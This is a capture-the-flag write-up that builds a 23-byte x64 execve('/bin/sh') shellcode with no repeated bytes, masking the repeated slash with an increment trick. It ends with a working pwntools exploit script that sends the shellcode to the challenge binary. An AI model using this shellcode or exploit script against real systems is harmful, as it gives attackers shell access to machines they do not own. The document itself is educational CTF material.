Points: Dynamic - 144
After reversing the binary we easily see the program will run any shellcode we give it with the following conditions:
- is shorter than 24 bytes
- does not have repeated bytes
After a little debugging we also see that before executing our shellcode all registers are zero’d.
How do we prevent repeated bytes?
In this section I will go through the ideias I had before arriving at the final solution.
1. Basic x64 shellcode
First lets try a basic x64 shellcode and see if there are any reapeating bytes. That looks something like :
/bin/sh\x00on the stack
- put that stack address in
rsi(argv) equal 0
rdx(envp) equal 0
- call the execve syscall (a syscall table for x64 can be found here)
We get step 3 and 4 for free since all registers are already zero’d from the start. The rest looks something like this:
68 2f 73 68 00 push 0x0068732f ; 1. '/sh\x00' 68 2f 62 69 6e push 0x6e69622f ; 1. '/bin' 48 89 e7 mov rdi, rsp ; 2. Put the '/bin//sh' addr in rdi b0 3b mov al, 0x3b ; 5. Mov to rax the execve syscall number 0f 05 syscall ; 5. call it
2. Can’t have 2 push’s
As we can see on the left there are repeated bytes in the first two intructions.
pushs is not an option since the opcode will be repeated. Lets try and do it with a
mov intead of a
push and see if we have better luck.
c7 04 24 2f 73 68 00 mov DWORD PTR [rsp], 0x0068732f 68 2f 62 69 6e push 0x6e69622f 48 89 e7 mov rdi, rsp b0 3b mov al, 0x3b 0f 05 syscall
That is better but
/bin/sh\x00 contains two
'/' (2f) and that is a problem since it is a repeated byte.
Also the byte
0x68 is repeated since it is the opcode of
push and also the letter
Let’s try another version:
49 bc 2f 62 69 6e 2f movabs r12,0x68732f6e69622f 73 68 00 41 54 push r12 48 89 e7 mov rdi, rsp b0 3b mov al, 0x3b 0f 05 syscall
Alright, now we only have to somehow remove the extra
At this point I tried using just
bash, but the
execve syscall only works with a full path, making the two slashes necessary.
3. Masking the repeated ‘/’
Now the plan is to mask the slash. Instead of putting a slash there directly we want to:
'/'by sending the value of
'/' - 1
- unmask it by adding
1, making it a
49 bc 2f 62 69 6e 2e movabs r12,0x68732e6e69622f 73 68 00 41 54 push r12 fe 44 24 04 inc BYTE PTR [rsp+0x4] 48 89 e7 mov rdi, rsp b0 3b mov al, 0x3b 0f 05 syscall
That worked! No repeated bytes and a length of 23. Just under the 24 byte limit!
from pwn import * context.arch = 'amd64' context.os = 'linux' def go(): s = process("./easy_to_say") # s = remote("184.108.40.206", 8361) shellcode = asm(\ """ mov r12, %s push r12 inc byte ptr [rsp+0x4] mov rdi, rsp mov al, 59 syscall """ % (hex(u64("/bin" + chr(ord('/') - 1) + "sh\x00")))) # Check if there are any repeated bytes for i in range(len(shellcode)): for j in range(i): if shellcode[i] == shellcode[j]: print i, "==", j, "(", hex(ord(shellcode[j])), ")" print "There are %d bytes repeated in the shellcode." % (len(shellcode) - len(set(shellcode))) print "Shellcode of len: ", len(shellcode) print disasm(shellcode) s.sendline(shellcode) s.interactive() go()